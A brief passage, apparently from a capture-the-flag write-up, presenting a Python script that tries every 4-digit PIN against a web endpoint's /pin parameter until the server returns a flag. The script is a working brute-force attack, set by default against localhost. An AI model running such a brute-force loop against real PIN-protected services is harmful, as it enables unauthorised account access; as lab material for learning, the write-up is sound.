this Python script systematically iterates all possible 4-digit PINs (0000 to 9999) and sends GET requests to the target with each PIN.
root@oco:~$ nano pinSolver.py
import requests
ip = "127.0.0.1" # Change this to target IP
port = 1234 # Change this to target port
# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
formatted_pin = f"{pin:04d}" # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
print(f"Attempted PIN: {formatted_pin}")
# Send the request to the server
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
# Check if the server responds with success and the flag is found
if response.ok and 'flag' in response.json(): # .ok means status code is 200 (success)
print(f"Correct PIN found: {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break